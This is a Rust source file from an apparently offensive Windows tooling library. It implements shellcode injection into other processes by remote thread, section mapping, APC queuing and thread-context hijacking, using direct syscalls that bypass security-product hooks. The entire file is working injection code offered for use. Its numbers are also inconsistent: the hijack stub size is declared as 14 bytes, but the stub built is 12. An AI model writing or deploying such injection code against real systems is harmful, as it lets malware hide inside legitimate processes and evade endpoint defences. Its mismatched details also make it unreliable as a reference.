1#[cfg(all(not(feature = "std"), feature = "alloc"))]
10use alloc::{format, string::String, vec::Vec};
11
12#[cfg(feature = "std")]
13use std::{format, string::String, vec::Vec};
14
15use super::process::RemoteProcess;
16use super::thread::{create_remote_thread, RemoteThreadOptions};
17use crate::error::{Result, WraithError};
18use crate::manipulation::syscall::{
19 get_syscall_table, nt_close, nt_success, DirectSyscall,
20 PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
21};
22
23#[derive(Debug, Clone, Copy, PartialEq, Eq)]
25pub enum InjectionMethod {
26 RemoteThread,
28 SectionMapping,
30 Apc,
32 ThreadHijack,
34}
35
36#[derive(Debug)]
38pub struct InjectionResult {
39 pub method: InjectionMethod,
40 pub remote_address: usize,
41 pub thread_id: Option<u32>,
42 pub size: usize,
43}
44
45pub fn inject_shellcode(
47 process: &RemoteProcess,
48 shellcode: &[u8],
49) -> Result<InjectionResult> {
50 let alloc = process.allocate_rw(shellcode.len())?;
52
53 process.write(alloc.base(), shellcode)?;
55
56 process.protect(alloc.base(), alloc.size(), PAGE_EXECUTE_READ)?;
58
59 let thread = create_remote_thread(
61 process,
62 alloc.base(),
63 0,
64 RemoteThreadOptions::default(),
65 )?;
66
67 let base = alloc.leak(); Ok(InjectionResult {
70 method: InjectionMethod::RemoteThread,
71 remote_address: base,
72 thread_id: Some(thread.id()),
73 size: shellcode.len(),
74 })
75}
76
77pub fn inject_via_section(
79 process: &RemoteProcess,
80 data: &[u8],
81 executable: bool,
82) -> Result<InjectionResult> {
83 let section_handle = create_section(data.len(), executable)?;
85
86 let local_base = map_section_local(section_handle, data.len())?;
88
89 unsafe {
91 core::ptr::copy_nonoverlapping(
92 data.as_ptr(),
93 local_base as *mut u8,
94 data.len(),
95 );
96 }
97
98 unmap_section_local(local_base)?;
100
101 let remote_base = map_section_remote(process, section_handle, data.len(), executable)?;
103
104 let _ = nt_close(section_handle);
106
107 Ok(InjectionResult {
108 method: InjectionMethod::SectionMapping,
109 remote_address: remote_base,
110 thread_id: None,
111 size: data.len(),
112 })
113}
114
115fn create_section(size: usize, executable: bool) -> Result<usize> {
116 let table = get_syscall_table()?;
117 let syscall = DirectSyscall::from_table(table, "NtCreateSection")?;
118
119 let mut section_handle: usize = 0;
120 let mut max_size: i64 = size as i64;
121
122 let protection = if executable {
123 PAGE_EXECUTE_READWRITE
124 } else {
125 PAGE_READWRITE
126 };
127
128 let status = unsafe {
130 syscall.call_many(&[
131 &mut section_handle as *mut usize as usize, SECTION_ALL_ACCESS as usize, 0, &mut max_size as *mut i64 as usize, protection as usize, SEC_COMMIT as usize, 0, ])
139 };
140
141 if nt_success(status) {
142 Ok(section_handle)
143 } else {
144 Err(WraithError::SectionMappingFailed {
145 reason: format!("NtCreateSection failed: {:#x}", status as u32),
146 })
147 }
148}
149
150fn map_section_local(section_handle: usize, size: usize) -> Result<usize> {
151 let table = get_syscall_table()?;
152 let syscall = DirectSyscall::from_table(table, "NtMapViewOfSection")?;
153
154 let mut base_address: usize = 0;
155 let mut view_size: usize = size;
156 let current_process: usize = usize::MAX; let status = unsafe {
160 syscall.call_many(&[
161 section_handle,
162 current_process,
163 &mut base_address as *mut usize as usize,
164 0, 0, 0, &mut view_size as *mut usize as usize,
168 2, 0, PAGE_READWRITE as usize,
171 ])
172 };
173
174 if nt_success(status) {
175 Ok(base_address)
176 } else {
177 Err(WraithError::SectionMappingFailed {
178 reason: format!("NtMapViewOfSection (local) failed: {:#x}", status as u32),
179 })
180 }
181}
182
183fn unmap_section_local(base_address: usize) -> Result<()> {
184 let table = get_syscall_table()?;
185 let syscall = DirectSyscall::from_table(table, "NtUnmapViewOfSection")?;
186
187 let current_process: usize = usize::MAX;
188
189 let status = unsafe { syscall.call2(current_process, base_address) };
190
191 if nt_success(status) {
192 Ok(())
193 } else {
194 Err(WraithError::SectionMappingFailed {
195 reason: format!("NtUnmapViewOfSection failed: {:#x}", status as u32),
196 })
197 }
198}
199
200fn map_section_remote(
201 process: &RemoteProcess,
202 section_handle: usize,
203 size: usize,
204 executable: bool,
205) -> Result<usize> {
206 let table = get_syscall_table()?;
207 let syscall = DirectSyscall::from_table(table, "NtMapViewOfSection")?;
208
209 let mut base_address: usize = 0;
210 let mut view_size: usize = size;
211
212 let protection = if executable {
213 PAGE_EXECUTE_READ
214 } else {
215 PAGE_READWRITE
216 };
217
218 let status = unsafe {
220 syscall.call_many(&[
221 section_handle,
222 process.handle(),
223 &mut base_address as *mut usize as usize,
224 0, 0, 0, &mut view_size as *mut usize as usize,
228 2, 0, protection as usize,
231 ])
232 };
233
234 if nt_success(status) {
235 Ok(base_address)
236 } else {
237 Err(WraithError::SectionMappingFailed {
238 reason: format!("NtMapViewOfSection (remote) failed: {:#x}", status as u32),
239 })
240 }
241}
242
243pub fn inject_apc(
247 process: &RemoteProcess,
248 thread_handle: usize,
249 shellcode: &[u8],
250) -> Result<InjectionResult> {
251 let alloc = process.allocate_rw(shellcode.len())?;
253 process.write(alloc.base(), shellcode)?;
254 process.protect(alloc.base(), alloc.size(), PAGE_EXECUTE_READ)?;
255
256 queue_user_apc(thread_handle, alloc.base(), 0)?;
258
259 let base = alloc.leak();
260
261 Ok(InjectionResult {
262 method: InjectionMethod::Apc,
263 remote_address: base,
264 thread_id: None,
265 size: shellcode.len(),
266 })
267}
268
269fn queue_user_apc(thread_handle: usize, apc_routine: usize, argument: usize) -> Result<()> {
270 let table = get_syscall_table()?;
271 let syscall = DirectSyscall::from_table(table, "NtQueueApcThread")?;
272
273 let status = unsafe {
275 syscall.call5(
276 thread_handle,
277 apc_routine,
278 argument,
279 0, 0, )
282 };
283
284 if nt_success(status) {
285 Ok(())
286 } else {
287 Err(WraithError::ApcQueueFailed {
288 reason: format!("NtQueueApcThread failed: {:#x}", status as u32),
289 })
290 }
291}
292
293pub fn inject_thread_hijack(
298 process: &RemoteProcess,
299 thread_handle: usize,
300 shellcode: &[u8],
301) -> Result<InjectionResult> {
302 let suspend_count = unsafe { SuspendThread(thread_handle) };
304 if suspend_count == u32::MAX {
305 return Err(WraithError::ThreadSuspendResumeFailed {
306 reason: "SuspendThread failed".into(),
307 });
308 }
309
310 let total_size = shellcode.len() + get_context_restore_stub_size();
312 let alloc = process.allocate_rwx(total_size)?;
313
314 let mut context = get_thread_context(thread_handle)?;
316
317 process.write(alloc.base(), shellcode)?;
319
320 #[cfg(target_arch = "x86_64")]
322 let original_rip = context.rip;
323 #[cfg(target_arch = "x86")]
324 let original_rip = context.eip;
325
326 let stub_offset = shellcode.len();
328 let restore_stub = create_context_restore_stub(original_rip as usize);
329 process.write(alloc.base() + stub_offset, &restore_stub)?;
330
331 #[cfg(target_arch = "x86_64")]
333 {
334 context.rip = alloc.base() as u64;
335 }
336 #[cfg(target_arch = "x86")]
337 {
338 context.eip = alloc.base() as u32;
339 }
340
341 set_thread_context(thread_handle, &context)?;
343
344 let resume_result = unsafe { ResumeThread(thread_handle) };
346 if resume_result == u32::MAX {
347 return Err(WraithError::ThreadSuspendResumeFailed {
348 reason: "ResumeThread failed".into(),
349 });
350 }
351
352 let base = alloc.leak();
353
354 Ok(InjectionResult {
355 method: InjectionMethod::ThreadHijack,
356 remote_address: base,
357 thread_id: None,
358 size: total_size,
359 })
360}
361
362#[cfg(target_arch = "x86_64")]
363fn get_context_restore_stub_size() -> usize {
364 14
366}
367
368#[cfg(target_arch = "x86")]
369fn get_context_restore_stub_size() -> usize {
370 8
372}
373
374#[cfg(target_arch = "x86_64")]
375fn create_context_restore_stub(return_address: usize) -> Vec<u8> {
376 let mut stub = Vec::with_capacity(14);
377 stub.push(0x48);
379 stub.push(0xB8);
380 stub.extend_from_slice(&(return_address as u64).to_le_bytes());
381 stub.push(0xFF);
383 stub.push(0xE0);
384 stub
385}
386
387#[cfg(target_arch = "x86")]
388fn create_context_restore_stub(return_address: usize) -> Vec<u8> {
389 let mut stub = Vec::with_capacity(8);
390 stub.push(0xB8);
392 stub.extend_from_slice(&(return_address as u32).to_le_bytes());
393 stub.push(0xFF);
395 stub.push(0xE0);
396 stub
397}
398
399#[cfg(target_arch = "x86_64")]
400#[repr(C, align(16))]
401struct ThreadContext {
402 p1_home: u64,
403 p2_home: u64,
404 p3_home: u64,
405 p4_home: u64,
406 p5_home: u64,
407 p6_home: u64,
408 context_flags: u32,
409 mx_csr: u32,
410 seg_cs: u16,
411 seg_ds: u16,
412 seg_es: u16,
413 seg_fs: u16,
414 seg_gs: u16,
415 seg_ss: u16,
416 eflags: u32,
417 dr0: u64,
418 dr1: u64,
419 dr2: u64,
420 dr3: u64,
421 dr6: u64,
422 dr7: u64,
423 rax: u64,
424 rcx: u64,
425 rdx: u64,
426 rbx: u64,
427 rsp: u64,
428 rbp: u64,
429 rsi: u64,
430 rdi: u64,
431 r8: u64,
432 r9: u64,
433 r10: u64,
434 r11: u64,
435 r12: u64,
436 r13: u64,
437 r14: u64,
438 r15: u64,
439 rip: u64,
440 _padding: [u8; 512],
442}
443
444#[cfg(target_arch = "x86")]
445#[repr(C)]
446struct ThreadContext {
447 context_flags: u32,
448 dr0: u32,
449 dr1: u32,
450 dr2: u32,
451 dr3: u32,
452 dr6: u32,
453 dr7: u32,
454 float_save: [u8; 112],
455 seg_gs: u32,
456 seg_fs: u32,
457 seg_es: u32,
458 seg_ds: u32,
459 edi: u32,
460 esi: u32,
461 ebx: u32,
462 edx: u32,
463 ecx: u32,
464 eax: u32,
465 ebp: u32,
466 eip: u32,
467 seg_cs: u32,
468 eflags: u32,
469 esp: u32,
470 seg_ss: u32,
471 _extended: [u8; 512],
472}
473
474#[cfg(target_arch = "x86_64")]
475const CONTEXT_FULL: u32 = 0x10000B;
476#[cfg(target_arch = "x86")]
477const CONTEXT_FULL: u32 = 0x1000B;
478
479fn get_thread_context(thread_handle: usize) -> Result<ThreadContext> {
480 let mut context: ThreadContext = unsafe { core::mem::zeroed() };
481 context.context_flags = CONTEXT_FULL;
482
483 let result = unsafe { GetThreadContext(thread_handle, &mut context) };
484 if result == 0 {
485 return Err(WraithError::ThreadContextFailed {
486 reason: format!("GetThreadContext failed: {}", unsafe { GetLastError() }),
487 });
488 }
489
490 Ok(context)
491}
492
493fn set_thread_context(thread_handle: usize, context: &ThreadContext) -> Result<()> {
494 let result = unsafe { SetThreadContext(thread_handle, context) };
495 if result == 0 {
496 return Err(WraithError::ThreadContextFailed {
497 reason: format!("SetThreadContext failed: {}", unsafe { GetLastError() }),
498 });
499 }
500 Ok(())
501}
502
503const SECTION_ALL_ACCESS: u32 = 0xF001F;
505const SEC_COMMIT: u32 = 0x8000000;
506
507#[link(name = "kernel32")]
508extern "system" {
509 fn SuspendThread(hThread: usize) -> u32;
510 fn ResumeThread(hThread: usize) -> u32;
511 fn GetThreadContext(hThread: usize, lpContext: *mut ThreadContext) -> i32;
512 fn SetThreadContext(hThread: usize, lpContext: *const ThreadContext) -> i32;
513 fn GetLastError() -> u32;
514}
515
516#[cfg(test)]
517mod tests {
518 use super::*;
519
520 #[test]
521 fn test_context_restore_stub() {
522 let stub = create_context_restore_stub(0x12345678);
523 assert!(!stub.is_empty());
524
525 #[cfg(target_arch = "x86_64")]
526 {
527 assert_eq!(stub.len(), 12); assert_eq!(stub[0], 0x48); assert_eq!(stub[1], 0xB8); }
531 }
532
533 #[test]
534 fn test_injection_method_enum() {
535 let method = InjectionMethod::RemoteThread;
536 assert_eq!(method, InjectionMethod::RemoteThread);
537
538 let method = InjectionMethod::SectionMapping;
539 assert_eq!(method, InjectionMethod::SectionMapping);
540 }
541}